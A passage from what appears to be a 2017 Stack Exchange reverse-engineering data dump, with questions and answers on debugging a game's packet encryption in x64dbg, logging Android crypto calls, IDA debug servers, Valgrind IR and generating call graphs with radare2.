&lt;code&gt;__stdcall&lt;/code&gt; the second argument will be at &lt;code&gt;[esp+0x8]&lt;/code&gt; when your breakpoint triggers (&lt;code&gt;[esp]&lt;/code&gt; is the return address, &lt;code&gt;[esp+0x4]&lt;/code&gt; is the first argument &lt;code&gt;_In_ Socket s&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;If you use x64dbg you can now follow the pointer to the &lt;code&gt;WSABUF&lt;/code&gt; structure &quot;in dump&quot; to see the contents of it. You can also follow the return address at &lt;code&gt;[esp]&lt;/code&gt; to find the function which called &lt;code&gt;WSASendTo&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;You will probably need to restart the game a few times and set new breakpoints on the function which called the windows send function.&lt;/li&gt;&#xA;&lt;li&gt;At some point you will see that the contents of the buffer change - you said that only the first two bytes are encrypted, so you already know at what to put your eyes at.&lt;/li&gt;&#xA;&lt;li&gt;At this point you should know which function is responsible for encrypting your data. Maybe this is already all you need - maybe you need to go a bit higher in the calling hierarchy to find the function which actually starts the whole &lt;code&gt;packet create-encrypt-send&lt;/code&gt; process.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="20183" LastEditorUserId="20183" LastEditDate="2017-08-13T11:12:45.000" LastActivityDate="2017-08-13T11:12:45.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16069" PostTypeId="1" CreationDate="2017-08-11T16:21:41.443" Score="1" ViewCount="150" Body="&lt;p&gt;Im reversing an apk that uses a native library  &lt;code&gt;.so&lt;/code&gt; to make calls to some  Java methods thru reflexion&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know by analysing the app that exist the followings calls:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import javax.crypto.Mac;&#xA;import javax.crypto.spec.SecretKeySpec;&#xA;//This metods are called from native c++ &#xA;//via reflection&#xA;Mac mac= Mac.getInstance(method);&#xA;//Log this methods parameters&#xA;SecretKeySpec key=new SecretKeySpec(byte[],string);&#xA;mac.init(key);&#xA;ret=m.doFinal();//log the return&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The aplication is debuggeable in the manifest&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can log the parameters of this methods?&lt;/p&gt;&#xA;" OwnerUserId="21209" LastEditorUserId="21209" LastEditDate="2017-08-11T16:39:10.023" LastActivityDate="2017-11-08T19:29:44.173" Title="Android Intercepts for log the Funtion Calls to javax" Tags="|decompilation|android|java|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16070" PostTypeId="2" ParentId="16059" CreationDate="2017-08-11T17:31:57.793" Score="2" Body="&lt;p&gt;First of all, I would advise you to read about the SystemV ABI for i386 and amd64. You can find the documents here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sco.com/developers/devspecs/abi386-4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V i386 ABI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://software.intel.com/sites/default/files/article/402129/mpx-linux64-abi.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;System V amd64 ABI&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These documents define as precisely as possible how a compiler coder should translate some C/C++ code into i386/amd64 assembly code for a Unix-like system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;They are extremely important documents and you should refer to it as often as possible because they contain a lot of answers for most of your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, back to your original question, in your case the main differences between the two codes is that &lt;code&gt;gcc&lt;/code&gt; has optimized data movements in the memory as we will see.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;First code snippet&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- What purpose do these moves serve? --&#xA;mov        ecx, dword [ebp+arg_4]&#xA;mov        edx, dword [ebp+arg_0]&#xA;--                                    --&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, &lt;code&gt;ecx&lt;/code&gt; and &lt;code&gt;edx&lt;/code&gt; are loaded with the arguments of &lt;code&gt;main&lt;/code&gt; (very likely &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;argv&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, none of &lt;code&gt;argc&lt;/code&gt; and &lt;code&gt;argv&lt;/code&gt; are of any use in the &lt;code&gt;main()&lt;/code&gt; function. But, the compiler does not know about it because it did not performed dead-code/dead-variables analysis at this level of optimization. Of course, this code will be removed when the appropriate analysis will be performed.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Second code snippet&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;-- And what do these moves also serve? --&#xA;mov        dword [ebp+var_4], 0x0&#xA;mov        dword [ebp+var_8], edx&#xA;mov        dword [ebp+var_C], ecx&#xA;--                                    --&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here, the program seems to store the arguments in the local memory frame (below &lt;code&gt;ebp&lt;/code&gt;). Note that the arguments are above &lt;code&gt;ebp&lt;/code&gt; and the automatic variables below (we say automatic variable for the variable which are within the function's scope).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, these data movements are totally unnecessary, but the compiler just apply a default template for starting a function which transfer a copy of the arguments in the local memory stack-frame. And, once again, when the compiler realize that these variables are of no use, then these moves will disappear.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-08-11T17:31:57.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16072" PostTypeId="1" CreationDate="2017-08-11T18:04:46.670" Score="1" ViewCount="468" Body="&lt;p&gt;I am trying to debug an arm64 binary in /data/local/tmp of my Android phone. I pushed the /dbgsrv/android_server64 to /data/local/tmp and then adb to the phone:&#xA;&lt;code&gt;&#xA;$ chmod 777 ./android_server64&#xA;$ ./android_server64&#xA;IDA Android 32-bit remote debug server(ST) v1.20. Hex-Rays (c) 2004-2015&#xA;Listening on port #23946...&#xA;[1] Accepting connection from 127.0.0.1...&#xA;&lt;/code&gt;&#xA;And when I connect to it with IDA, the target outputs:&#xA;&lt;code&gt;&#xA;[1] Incompatible IDA version&#xA;[1] Closing connection from 127.0.0.1...&#xA;&lt;/code&gt;&#xA;And the host gets an error window:&#xA;&lt;code&gt;&#xA;Incompatible debugging server:&#xA;protocol version is 20, expected 21&#xA;&lt;/code&gt;&#xA;Do I have to update IDA to get v21 debug servers? Are the updated debug servers posted somewhere?&lt;/p&gt;&#xA;" OwnerUserId="21211" LastActivityDate="2017-08-11T18:04:46.670" Title="Android debug server protocol version mismatch" Tags="|android|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16073" PostTypeId="1" CreationDate="2017-08-11T22:31:39.520" Score="2" ViewCount="266" Body="&lt;p&gt;I'm using winpmem to create a memory image.  I would like to create an interface that would allow a user to search for various patterns in the image.  I'm using C++ to open and read the file but I am not able to dump the contents to standard output.  I have tried to use various data types for the variable declaration that is streamed to standard output but I haven't been able to dump a text representation to the screen.  Here is my code:&lt;/p&gt;&#xA;&lt;h1&gt;include &amp;quot;stdafx.h&amp;quot;&lt;/h1&gt;&#xA;&lt;h1&gt;include &amp;quot;iostream&amp;quot;&lt;/h1&gt;&#xA;&lt;h1&gt;include &amp;quot;iomanip&amp;quot;&lt;/h1&gt;&#xA;&lt;h1&gt;include &amp;quot;fstream&amp;quot;&lt;/h1&gt;&#xA;&lt;p&gt;using namespace std;&lt;/p&gt;&#xA;&lt;p&gt;int _tmain(int argc, _TCHAR* argv[])&lt;/p&gt;&#xA;&lt;p&gt;{&lt;/p&gt;&#xA;&lt;p&gt;double x;&lt;/p&gt;&#xA;&lt;p&gt;int i = 0;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ifstream test;&#xA;&#xA;test.open(&amp;quot;C:\\Temp\\mem.raw&amp;quot;);&#xA;&#xA;if (!test){&#xA;&#xA;cerr &amp;lt;&amp;lt; &amp;quot;Unable to open file datafile.txt&amp;quot;;&#xA;&#xA;exit(1);   // call system to stop&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;while (test &amp;gt;&amp;gt; x) {&#xA;&#xA;cout &amp;lt;&amp;lt; i;&#xA;&#xA;cout &amp;lt;&amp;lt; &amp;quot;:&amp;quot;;&#xA;&#xA;cout &amp;lt;&amp;lt; x;&#xA;&#xA;cout &amp;lt;&amp;lt; &amp;quot;,&amp;quot;;&#xA;&#xA;i++;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;test.close();&#xA;&#xA;return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="20705" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-08-11T22:31:39.520" Title="Unable to use C++ to read memory image file" Tags="|c++|memory-dump|" AnswerCount="0" CommentCount="3" ClosedDate="2017-08-12T17:51:15.750" ContentLicense="CC BY-SA 3.0" />
  <row Id="16074" PostTypeId="2" ParentId="16064" CreationDate="2017-08-12T01:58:42.790" Score="1" Body="&lt;p&gt;Personally, I wouldn't be using IDA Pro (essentially a tool optimised for decompiling real binaries) for decompiling Java. Use &lt;a href=&quot;https://www.pnfsoftware.com/jeb2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Jeb&lt;/a&gt; or something made specifically for Java, or even better, for Android. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I admit I don't like the subscription licensing model of the new Jeb very much, but &quot;horses for courses&quot;. There are likely other Android (Java) decompilers that can handle multi-dexes. Dex2Jar+whatever? Jadx? (I don't know)&lt;/p&gt;&#xA;" OwnerUserId="1358" LastActivityDate="2017-08-12T01:58:42.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16075" PostTypeId="1" CreationDate="2017-08-12T03:48:46.963" Score="9" ViewCount="2413" Body="&lt;p&gt;The windows Native API (Ntdll.dll) is a user-mode library. However, it is the final user-mode library that interfaces with the kernel. How does it actually interface with the kernel and bridge the gap from user-mode into kernel-mode? For example, if I write a standard usermode application, I cannot directly call ntoskrnl.exe functions. Does Ntdll.dll in fact directly call ntoskrnl.exe functions? If so, how does it have permissions to do so being a user-mode library?&lt;/p&gt;&#xA;" OwnerUserId="18507" LastActivityDate="2017-08-15T19:29:01.633" Title="How does the Windows Native API communicate with the kernel?" Tags="|windows|kernel-mode|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16076" PostTypeId="2" ParentId="11637" CreationDate="2017-08-12T04:20:48.167" Score="4" Body="&lt;p&gt;What follows is based primarily on information found in &lt;a href=&quot;http://valgrind.org/docs/valgrind2007.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt; Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;part 1&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Why does the program grow so much when you are looking at the IR even though the Assembly was tiny.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are at least 2 reasons for this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;While the machine code produced by GCC for the &lt;code&gt;main()&lt;/code&gt; routine may by small, all of the code in the binary is transformed by Valgrind, including code in dynamically linked libraries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Valgrind is a dynamic binary intrumentation (DBI) framework, similar in some ways to &lt;a href=&quot;http://www.dynamorio.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DynamoRIO&lt;/a&gt; and &lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow noreferrer&quot;&gt;PIN&lt;/a&gt;. It is implemented as a &lt;a href=&quot;https://pdfs.semanticscholar.org/bb6c/4460b37a54530269dbdec19892c3e0836fc0.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt; process virtual machine&lt;/a&gt; (PVM) that loads a binary into its own virtual memory space and executes a transformed and intrumented version of its code:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Valgrind uses &lt;em&gt;dynamic binary re-compilation&lt;/em&gt;, similar to many other&#xA;  DBI frameworks. A Valgrind tool is invoked by adding &lt;code&gt;valgrind --tool=&amp;lt;toolname&amp;gt;&lt;/code&gt; (plus any Valgrind or tool options) before a&#xA;  command. The named tool starts up, loads the client program into&#xA;  the same process, and then (re)compiles the client’s machine code,&#xA;  one small code block at a time, in a just-in-time, execution-driven&#xA;  fashion. The core disassembles the code block into an intermediate&#xA;  representation (IR) which is instrumented with analysis code by&#xA;  the tool plug-in, and then converted by the core back into machine&#xA;  code. The resulting translation is stored in a code cache to be&#xA;  rerun as necessary. Valgrind’s core spends most of its time making,&#xA;  finding, and running translations. None of the client’s original code&#xA;  is run.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Code handled correctly includes: normal executable code, dynamically&#xA;  linked libraries, shared libraries, and dynamically generated&#xA;  code.&lt;sup&gt;[1]&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the intermediate representation (IR) used by Valgrind, every effect a machine code instruction in a binary has is explicitly represented by an IR operation. This means that CISC instructions with side-effects will be represented by multiple IR operations.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;Valgrind uses disassemble-and-resynthesise (D&amp;amp;R): machine&#xA;  code is converted to an IR in which each instruction becomes&#xA;  one or more IR operations. This IR is instrumented (by adding&#xA;  more IR) and then converted back to machine code. All of the&#xA;  original code’s effects on guest state (e.g. condition code setting)&#xA;  must be explicitly represented in the IR because the original client&#xA;  instructions are discarded and the final code is generated purely&#xA;  from the IR.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;The IR has some RISC-like features: it is load/store, each primitive&#xA;  operation only does one thing (many CISC instructions are broken&#xA;  up into multiple operations), and when flattened, all operations&#xA;  operate only on temporaries and literals. Nonetheless, supporting&#xA;  all the standard integer, FP and SIMD operations of different sizes&#xA;  requires more than 200 primitive arithmetic/logical operations.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The instruction set architecture of the test binary is not explicitly stated in the original post and is assumed to be x86. x86 is an example of a &lt;a href=&quot;https://www.cs.duke.edu/courses/fall06/cps220/lectures/2-isa.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;CISC ISA&lt;/a&gt;, which means that the number of IR operations &gt;&gt; number of original machine code instructions. This due to the complexity of x86 instructions in terms of side effects and operations performed as the result of executing a single instruction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When I executed &lt;code&gt;valgrind --tool=lackey --trace-mem=yes test&lt;/code&gt;, where &lt;code&gt;test&lt;/code&gt; was an ELF32 binary created from the example C code in the original post using GCC, these were the results (truncated, plus arrows pointing to lines that will be discussed subsequently):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.&#xA;.&#xA;.&#xA;I  04cec101,3&#xA;I  04cec104,3&#xA;I  04cec107,2&#xA;==11736== &#xA;==11736== Counted 0 calls to main()                &amp;lt;---------- (1)&#xA;==11736== &#xA;==11736== Jccs:&#xA;==11736==   total:         44,420&#xA;==11736==   taken:         21,288 ( 47%)&#xA;==11736== &#xA;==11736== Executed:&#xA;==11736==   SBs entered:   44,083&#xA;==11736==   SBs completed: 30,750&#xA;==11736==   guest instrs:  211,953                 &#xA;==11736==   IRStmts:       1,304,900               &#xA;==11736== &#xA;==11736== Ratios:&#xA;==11736==   guest instrs : SB entered  = 48 : 10&#xA;==11736==        IRStmts : SB entered  = 296 : 10&#xA;==11736==        IRStmts : guest instr = 61 : 10   &amp;lt;---------- (2)&#xA;==11736== &#xA;==11736== Exit code:       0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As we can see at (2), there are significantly more IR statements than machine code instructions, which is in line with what is expected of translation of CISC instructions into Valgrind's IR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(1) has to do with the second part of the question &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example of a single x86 instruction producing multiple IR statements:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x24F27C: addl %ebx,%eax                 &amp;lt;---------- x86 instruction + operands&#xA;4: ------ IMark(0x24F27C, 2) ------&#xA;5: PUT(60) = 0x24F27C:I32       # put %eip&#xA;6: t3 = GET:I32(0)              # get %eax&#xA;7: t2 = GET:I32(12)             # get %ebx&#xA;8: t1 = Add32(t3,t2)            # addl&#xA;9: PUT(32) = 0x3:I32            # put eflags val1&#xA;10: PUT(36) = t3                # put eflags val2&#xA;11: PUT(40) = t2                # put eflags val3&#xA;12: PUT(44) = 0x0:I32           # put eflags val4&#xA;13: PUT(0) = t1                 # put %eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;part 2&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How can I isolate the IR that represents instructions in the code I wrote?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This does not seem possible due to how Valgrind transforms machine code (disassembly + resynthesis). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We observe in (1) that 0 calls to &lt;code&gt;main()&lt;/code&gt; were made when Valgrind instrumented the test binary. Since &lt;code&gt;main()&lt;/code&gt; does nothing, it is possible that it is optimized out during the machine code -&gt; IL -&gt; instrumented IR -&gt; machine code translation process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The translation process actually consists of 8 phases, where&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All phases are performed by the core, except&#xA;  instrumentation, which is performed by the tool. Phases marked&#xA;  with a ‘*’ are architecture-specific.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 1. Disassembly*: machine code → tree IR&lt;/strong&gt;. The disassembler&#xA;  converts machine code into (unoptimised) tree IR. Each&#xA;  instruction is disassembled independently into one or more statements.&#xA;  These statements fully update the affected guest registers in&#xA;  memory: guest registers are pulled from the ThreadState into temporaries,&#xA;  operated on, and then written back.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 2. Optimisation 1: tree IR → flat IR&lt;/strong&gt;. The first optimisation phase flattens the IR and does several optimisations: redundant get and put elimination (to remove unnecessary copying of guest&#xA;  registers to/from the ThreadState), copy and constant propagation,&#xA;  constant folding, dead code removal, common sub-expression elimination,&#xA;  and even simple loop unrolling for intra-block loops.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 3. Instrumentation: flat IR → flat IR&lt;/strong&gt;. The code block is&#xA;  then passed to the tool, which can transform it arbitrarily. It is important that the IR is flattened at this point as it makes instrumentation easier, particularly for shadow value tools.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 4. Optimisation 2: flat IR → flat IR.&lt;/strong&gt; A second, simpler optimisation pass performs constant folding and dead code removal.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 5. Tree building: flat IR → tree IR&lt;/strong&gt;. The tree builder converts flat IR back to tree IR in preparation for instruction selection.&#xA;  Expressions assigned to temporaries which are used only once are&#xA;  usually substituted into the temporary’s use point, and the assignment&#xA;  is deleted. The resulting code may perform loads in a different&#xA;  order to the original code, but loads are never moved past stores&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 6. Instruction selection*: tree IR → instruction list&lt;/strong&gt;. The&#xA;  instruction selector converts the tree IR into a list of instructions&#xA;  which use virtual registers (except for those instructions that are&#xA;  hard-wired to use particular registers; these are common on x86&#xA;  and AMD64). The instruction selector uses a simple, greedy, topdown&#xA;  tree-matching algorithm.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 7. Register allocation: instruction list → instruction list&lt;/strong&gt;. The linear-scan register allocator [26] replaces virtual registers with host registers, inserting spills as necessary. One general-purpose&#xA;  host register is always reserved to point to the ThreadState.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Phase 8. Assembly*: instruction list → machine code&lt;/strong&gt;. The final&#xA;  assembly phase simply encodes the selected instructions appropriately&#xA;  and writes them to a block of memory.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After optimization and potentially arbitrary transformation, it is an open question as to whether any of the IR code output by &lt;code&gt;lackey&lt;/code&gt; bears any discernible resemblance to the machine code generated by GCC for &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Supplementary resources:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fosdem.org/2017/schedule/event/valgrind_vex_future/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fosdem.org/2017/schedule/event/valgrind_vex_future/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://fosdem.org/2017/schedule/event/valgrind_vex_future/attachments/slides/1842/export/events/attachments/valgrind_vex_future/slides/1842/valgrind_vex_future.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://fosdem.org/2017/schedule/event/valgrind_vex_future/attachments/slides/1842/export/events/attachments/valgrind_vex_future/slides/1842/valgrind_vex_future.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/trailofbits/libvex/blob/master/VEX/pub/libvex_ir.h&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/trailofbits/libvex/blob/master/VEX/pub/libvex_ir.h&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://arxiv.org/pdf/0810.0372.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://arxiv.org/pdf/0810.0372.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.ittc.ku.edu/~kulkarni/teaching/EECS768/slides/chapter3.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ittc.ku.edu/~kulkarni/teaching/EECS768/slides/chapter3.pdf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.angr.io/docs/ir.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.angr.io/docs/ir.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;sub&gt;1. Nicholas Nethercote and Julian Seward. Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation. In Proc. of the ACM SIGPLAN 2007 Conference on Programming Language Design and Implementation (PLDI), June 2007.&#xA;&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2017-08-12T04:20:48.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16081" PostTypeId="1" AcceptedAnswerId="16082" CreationDate="2017-08-13T02:58:47.633" Score="18" ViewCount="15420" Body="&lt;p&gt;I have a non-stripped ELF binary for which I want to create a call graph as a &lt;a href=&quot;https://en.wikipedia.org/wiki/DOT_(graph_description_language)&quot; rel=&quot;noreferrer&quot;&gt;dot&lt;/a&gt; file. Is there such a tool which generates the call graph?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Is there away in addition to the conventional call graph to find a call graph between libraries based on the executable. For example showing the call graph only of from &lt;code&gt;libc&lt;/code&gt; to &lt;code&gt;pthread&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="1868" LastEditDate="2018-08-06T15:05:26.053" LastActivityDate="2021-12-26T00:24:37.620" Title="How to generate the call graph of a binary file?" Tags="|binary-analysis|elf|call-graph|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="16082" PostTypeId="2" ParentId="16081" CreationDate="2017-08-13T05:38:06.497" Score="21" Body="&lt;p&gt;You can use &lt;a href=&quot;https://github.com/radare/radare2&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; or one of the alternatives below to generate a full call-graph in dot format.  &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;radare2 Installation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, install radare2 from git repository:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ git clone https://github.com/radare/radare2.git&#xA;$ cd radare2&#xA;$ ./sys/install.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Analysis&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;After you've downloaded and installed radare2, open your binary and perform analysis on it using the &lt;code&gt;aaa&lt;/code&gt; command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ r2 /bin/ls&#xA;[0x004049a0]&amp;gt; aaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[x] Analyze function calls (aac)&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan)&#xA;[x] Type matching analysis for all functions (afta)&#xA;[x] Use -AA or aaaa to perform additional experimental analysis.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Output visual graph&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;ag&lt;/code&gt; command and subcommands can help you to output the visual graph into &lt;a href=&quot;http://www.webgraphviz.com/&quot; rel=&quot;noreferrer&quot;&gt;Graphviz&lt;/a&gt; format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; ag?&#xA;Usage: ag&amp;lt;graphtype&amp;gt;&amp;lt;format&amp;gt; [addr]&#xA;Graph commands:&#xA;| aga[format]             Data references graph&#xA;| agA[format]             Global data references graph&#xA;| agc[format]             Function callgraph&#xA;| agC[format]             Global callgraph&#xA;| agd[format] [fcn addr]  Diff graph&#xA;| agf[format]             Basic blocks function graph&#xA;| agi[format]             Imports graph&#xA;| agr[format]             References graph&#xA;| agR[format]             Global references graph&#xA;| agx[format]             Cross references graph&#xA;| agg[format]             Custom graph&#xA;| ag-                     Clear the custom graph&#xA;| agn[?] title body       Add a node to the custom graph&#xA;| age[?] title1 title2    Add an edge to the custom graph&#xA;&#xA;Output formats:&#xA;| &amp;lt;blank&amp;gt;                 Ascii art&#xA;| *                       r2 commands&#xA;| d                       Graphviz dot&#xA;... &amp;lt;truncated&amp;gt; ...&#xA;| w [path]                Write to path or display graph image (see graph.gv.format and graph.web)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You're searching for the &lt;code&gt;agCd&lt;/code&gt; command. The &lt;code&gt;C&lt;/code&gt; specifies to output a full (&quot;global&quot;) call-graph of the program. The &lt;code&gt;d&lt;/code&gt; specifies to output in Graphviz dot format.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x004049a0]&amp;gt; agCd &amp;gt; output.dot&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;dot&lt;/code&gt; utility is part of the Graphviz software which can be installed using &lt;code&gt;sudo apt-get install graphviz&lt;/code&gt;.&lt;br&gt;&#xA;You can view your output in any offline &lt;a href=&quot;http://www.graphviz.org/content/resources&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;dot&lt;/em&gt; viewer&lt;/a&gt;, paste the output into an &lt;a href=&quot;http://www.webgraphviz.com/&quot; rel=&quot;noreferrer&quot;&gt;online Graphviz viewer&lt;/a&gt; and even convert the &lt;em&gt;dot&lt;/em&gt; file to PNG:  